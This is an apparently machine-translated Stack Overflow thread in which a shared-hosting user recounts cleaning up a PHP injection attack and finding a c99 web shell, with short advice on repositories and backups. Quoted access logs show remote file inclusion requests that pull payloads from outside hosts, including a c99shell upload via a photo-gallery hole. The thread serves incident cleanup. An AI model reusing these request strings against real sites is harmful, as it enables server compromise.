PHP 注入(inject)攻击 - 如何最好地清理困惑?

标签 php code-injection

我的共享托管环境偶尔会受到损害,因为我未能及时修补已安装应用程序的组合。 上周,这是因为安装了一个旧的且未使用的名为 Help Center Live 的 PHP 应用程序。 结果是服务器上的每个 PHP 文件(我有几个 Wordpress、Joomlas、SilverStripe 安装)都添加了代码,这些代码从其他站点提取隐藏的链接并将它们包含在我的页面中。其他人报告说,他们的网站在此类攻击后被 Google 禁止 - 幸运的是,我似乎很早就发现了这一点。我只是在通过手机浏览其中一个网站时才注意到这一点 - 该页面包含移动浏览器上的链接。

我在日志中发现了很多类似这样的攻击尝试:

62.149.18.193 - - [06/2/2009:14:52:45 +0000] “获取/support/module.php?module= 帮助中心//include/main.php?config [search_disp]=true&include_dir= http://www.portlandonnuri.com/ 2008_web//technote7/数据/照片/ id2.txt??? HTTP/1.1"200 26 "-""libwww-perl/5.814"

我立即删除了这个应用程序,并编写了一个脚本,从每个源文件中删除了有问题的 PHP 代码。我还发现该脚本创建了 HTML 文件,其中包含其他受感染网站的链接。我也删除了它们。现在我担心攻击者可能留下了我错过的其他东西——一个可以让他永久访问的 PHP 文件。文件日期在攻击中全部被修改,并且我找不到在相关时间内发生更改的任何其他文件。为了确保我的服务器上没有后门,我是否遗漏了一些明显的东西?

编辑:我还搜索包含攻击代码的文本文件,如上面日志文件片段中所示的文件。我没有找到。

另一个编辑: 如果您因为发现自己处于同样的情况而碰巧看到这篇文章,也许这会对您有所帮助。我在操作之前用它来备份所有 PHP 源文件:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;

这是为了撤消攻击者所做的更改:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;

这不是火箭科学,但对于像我这样偶尔使用 Linux/Unix 的用户来说也不是小事:-)。

另一个编辑: 我无法审核服务器上的每一行代码,但我可以搜索可疑数据。 我搜索了所有出现的“eval”和“base64”,但没有找到任何看起来不合法的内容。 然后我对“.ru”运行了 grep(因为肇事者似乎来自那里),你瞧,发现了一个叫做 c99 shell 的东西,我很快就把它删除了。

最终编辑: 我发现了 c99 shell 是如何上传的 - 通过 Coppermine 照片库中的一个洞。

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
    GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"

顺便说一句,IP 地址是 Godaddy 托管的 IP。

最佳答案

1.) 保留您用于这些应用程序的文件的存储库(例如 SVN 或类似的)

2.) 尽可能及时了解每个应用程序的安全更新(大多数都有 RSS 源)

3.) 定期备份数据库

如果/当 !@#$ 出现问题时,您可以使用数据库的新副本重新开始,并从 SVN 重新部署代码。

关于PHP 注入(inject)攻击 - 如何最好地清理困惑?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/550879/

相关文章:

php - 使用 php 检查正在运行的 cron 进程

java - 加载后 Java 字节码注入(inject)

api - Laravel - 如何为所有 json 响应添加前缀以防止 json 注入(inject)

java - 使用本地 JSON 文件存储数据的 Android 应用程序是否容易受到攻击?

php - Mysql CURDATE() 不适用于时间戳类型

php - 重定向ajax请求

php - 谷歌移动跟踪 API

PHP 身份验证对话框不断重复

spring - 如何保证Spring @Autowired注入(inject)在构造函数中可以访问

css - 带有用户存储值的 Chrome 扩展 CSS 注入(inject)?